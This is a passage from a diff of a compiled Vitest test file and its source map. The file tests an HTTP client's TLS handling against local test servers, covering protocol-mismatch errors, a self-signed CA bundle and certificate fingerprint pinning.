await (0, vitest_1.expect)((0, http_client_1.secureRequest)({ endpoint: `https://127.0.0.1:${httpsPort}` }, { path: '/api/v1/ping' })).rejects.toThrow();
|
|
130
|
+
});
|
|
131
|
+
(0, vitest_1.it)('explains https-to-http protocol mismatches clearly', async () => {
|
|
132
|
+
await (0, vitest_1.expect)((0, http_client_1.secureRequest)({ endpoint: `https://127.0.0.1:${httpPort}` }, { path: '/api/v1/ping' })).rejects.toThrow(/plain HTTP on an HTTPS URL/);
|
|
133
|
+
});
|
|
134
|
+
(0, vitest_1.it)('allows self-signed cert when CA bundle includes it', async () => {
|
|
135
|
+
if (!tlsAvailable)
|
|
136
|
+
return;
|
|
137
|
+
// The fixture cert is self-signed (issuer == subject), so it functions as
|
|
138
|
+
// its own CA. Pointing caBundlePath at it should let Node trust the chain.
|
|
139
|
+
const r = await (0, http_client_1.secureRequest)({ endpoint: `https://localhost:${httpsPort}`, caBundlePath: tlsCertPath }, { path: '/api/v1/ping' });
|
|
140
|
+
(0, vitest_1.expect)(r.statusCode).toBe(200);
|
|
141
|
+
});
|
|
142
|
+
(0, vitest_1.it)('rejects on TLS fingerprint mismatch', async () => {
|
|
143
|
+
if (!tlsAvailable)
|
|
144
|
+
return;
|
|
145
|
+
const wrongFingerprint = 'F'.repeat(64);
|
|
146
|
+
process.env.NODE_ENV = 'test';
|
|
147
|
+
await (0, vitest_1.expect)((0, http_client_1.secureRequest)({
|
|
148
|
+
endpoint: `https://127.0.0.1:${httpsPort}`,
|
|
149
|
+
allowInsecureTls: true, // bypass CA validation so we isolate the pin check
|
|
150
|
+
pinnedFingerprintSha256: wrongFingerprint,
|
|
151
|
+
}, { path: '/api/v1/ping' })).rejects.toThrow(/pin mismatch/);
|
|
152
|
+
});
|
|
153
|
+
(0, vitest_1.it)('succeeds when pinned fingerprint matches', async () => {
|
|
154
|
+
if (!tlsAvailable)
|
|
155
|
+
return;
|
|
156
|
+
process.env.NODE_ENV = 'test';
|
|
157
|
+
const r = await (0, http_client_1.secureRequest)({
|
|
158
|
+
endpoint: `https://127.0.0.1:${httpsPort}`,
|
|
159
|
+
allowInsecureTls: true, // bypass CA chain check; pin is the source of truth
|
|
160
|
+
pinnedFingerprintSha256: tlsFingerprint,
|
|
161
|
+
}, { path: '/api/v1/ping' });
|
|
162
|
+
(0, vitest_1.expect)(r.statusCode).toBe(200);
|
|
163
|
+
});
|
|
164
|
+
(0, vitest_1.it)('refuses an invalid fingerprint format', async () => {
|
|
165
|
+
if (!tlsAvailable)
|
|
166
|
+
return;
|
|
167
|
+
process.env.NODE_ENV = 'test';
|
|
168
|
+
await (0, vitest_1.expect)((0, http_client_1.secureRequest)({
|
|
169
|
+
endpoint: `https://127.0.0.1:${httpsPort}`,
|
|
170
|
+
allowInsecureTls: true,
|
|
171
|
+
pinnedFingerprintSha256: 'not-a-real-fingerprint',
|
|
172
|
+
}, { path: '/api/v1/ping' })).rejects.toThrow(/Invalid pinned fingerprint/);
|
|
173
|
+
});
|
|
174
|
+
});
|
|
175
|
+
//# sourceMappingURL=http-client.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"http-client.test.js","sourceRoot":"","sources":["../src/http-client.test.ts"],"names":[],"mappings":"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"}
|